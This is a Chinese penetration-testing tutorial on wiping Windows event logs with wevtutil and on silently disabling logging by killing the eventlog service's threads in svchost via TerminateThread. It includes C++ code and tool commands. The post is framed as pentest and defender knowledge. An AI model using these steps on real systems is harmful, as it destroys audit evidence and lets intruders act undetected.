渗透技巧——Windows日志的删除与绕过

2018-05-25

0x00 前言
0x01 简介
0x02 Windows日志
0x03 Windows日志的常用清除方法
1. 1、wevtutil.exe
2. 2、NSA DanderSpiritz
0x04 Windows日志的绕过方法
1. 绕过方法一
2. 绕过方法二
0x05 补充
1. 1、安装sysmon可对Windows日志功能进行扩展
2. 2、绕过方法仅针对Windows日志
0x06 小结

0x00 前言

在渗透测试过程中，Windows日志往往会记录系统上的敏感操作，如添加用户，远程登录执行等。

对于一次完整的渗透测试，通常会选择对Windows日志进行清除和绕过，而对于防御者来说，了解常用的绕过方法也有助于更好的保护自己的系统。

所以本文将要介绍常见的Windows日志清除与绕过方法，分享经验，帮助大家。

0x01 简介

本文将要介绍以下内容：

Windows日志的常用清除方法
Windows日志的两种绕过方法

0x02 Windows日志

Windows日志包括五个类别：

应用程序
安全
Setup
系统
转发事件

查看方式：

1、通过面板

位置如下：

Control Panel\System and Security-View event logs-Windows Logs

如下图

Alt text

2、通过Powershell

常用命令如下：

(管理员权限)

查看所有日志：

Get-WinEvent

查看应用程序类别下的日志：

Get-WinEvent -FilterHashtable @{logname="Application";}

0x03 Windows日志的常用清除方法

1、wevtutil.exe

操作系统默认包含，支持系统：Win7及以上

常用命令如下：

(1) 统计日志列表，查询所有日志信息，包含时间，数目

wevtutil.exe gli Application

操作如下图

Alt text

(2) 查看指定类别的日志内容

wevtutil qe /f:text Application

操作如下图

Alt text

(3) 删除该类日志所有内容

wevtutil cl Application

操作如下图

Alt text

Application日志全部清除，数目为0

(4) 删除单条内容

尚不支持

2、NSA DanderSpiritz

DanderSpritz是NSA的一款界面化的远控工具

0x04 Windows日志的绕过方法

本文介绍的思路参考自Halil Dalabasmaz@hlldz的文章，地址如下：

https://artofpwn.com/phant0m-killing-windows-event-log.html

绕过原理：

Windows日志对应于eventlog服务，找到该服务对应的进程svchost.exe，进而筛选出svchost.exe进程中具体实现日志功能的线程，调用TerminateThread结束线程，破坏日志记录功能

特别的地方：

由于只结束了实现日志功能的线程，所以Windows Event Log服务没有被破坏，状态仍为正在运行

绕过方法一

1、定位eventlog服务对应进程svchost.exe的pid

2、遍历该进程中的所有线程

3、判断线程是否满足条件

Windows Event Log 服务需要调用wevtsvc.dll，完整路径为%WinDir%\System32\wevtsvc.dll

并且，如果线程调用了wevtsvc.dll，就可以判读该线程实现了日志记录功能

4、结束线程

使用TerminateThread

注：

Halil Dalabasmaz@hlldz使用powershell实现了方法一，完整代码可参考：

https://github.com/hlldz/Invoke-Phant0m

powershell脚本执行后，Windows日志功能失效，无法记录日志，操作如下图

Alt text

5、恢复方法

结束进程svchost.exe

重新开启Windows Event Log 服务：

net start eventlog

操作如下图

Alt text

绕过方法二

1、定位eventlog服务对应进程svchost.exe的pid

powershell代码如下：

Get-WmiObject -Class win32_service -Filter "name = 'eventlog'" | select -exp ProcessId

找到svchost.exe的pid为7008，如下图

Alt text

2、遍历该进程中的所有线程

使用PsList

下载地址：

https://technet.microsoft.com/en-us/sysinternals/bb896682.aspx

具体参数如下：

pslist.exe /accepteula -d 7008

获取进程svchost.exe中的所有线程，如下图

Alt text

3、判断线程是否满足条件

获取线程对应的服务，如果为eventlog，则满足条件

使用工具：ScTagQuery

下载地址：

http://www.winsiderss.com/tools/sctagquery/sctagqry.zip

具体参数如下：

sctagqry.exe -t 7928

根据返回的结果Service Tag，判断线程对应的服务

找到对应eventlog的线程，如下图

Alt text

线程8136符合条件，依次尝试，直到获取所有符合条件线程

注：

使用Process Explorer可以简化此过程

找到eventlog服务对应进程svchost.exe

如下图

Alt text

右键查看属性，选择Threads标签，查看线程,可直接获得线程对应的服务

如下图

Alt text

符合条件的线程TID为：

8136
8052
6708
2316
6356

4、结束线程

调用TerminateThread

通过c++实现，部分代码如下：

int main(int argc, char* argv[])
{    
    printf("TerminateThread TID:\n");       
    for(int i=1;i<argc;i++)
    {    
        printf("%s\n",argv[i]);
        HANDLE hThread = OpenThread(0x0001, FALSE,atoi(argv[i]));
        if(TerminateThread(hThread,0)==0)
            printf("[!] TerminateThread Error, TID: %s \n",argv[i]);
        CloseHandle(hThread);
    }  
    return 0;
}

完整代码已上传至github，地址如下：

https://github.com/3gstudent/Windwos-EventLog-Bypass/blob/master/TerminateEventLogThread.cpp

控制台支持传入多个参数，向其传入5个TID： 8136 8052 6708 2316 6356

自动结束对应线程，日志功能失效

具体操作如下图

Alt text

注：

稍后我会在github上更新该绕过方法的完整实现代码，地址如下：

https://github.com/3gstudent/Windwos-EventLog-Bypass

0x05 补充

1、安装sysmon可对Windows日志功能进行扩展

2、绕过方法仅针对Windows日志

对应用程序和服务日志失效，例如Windows Powershell

如下图

Alt text

0x06 小结

本文对Windows日志的清除和绕过方法做了介绍，希望能够帮助大家，接下来会分享绕过方法二的具体程序实现方法。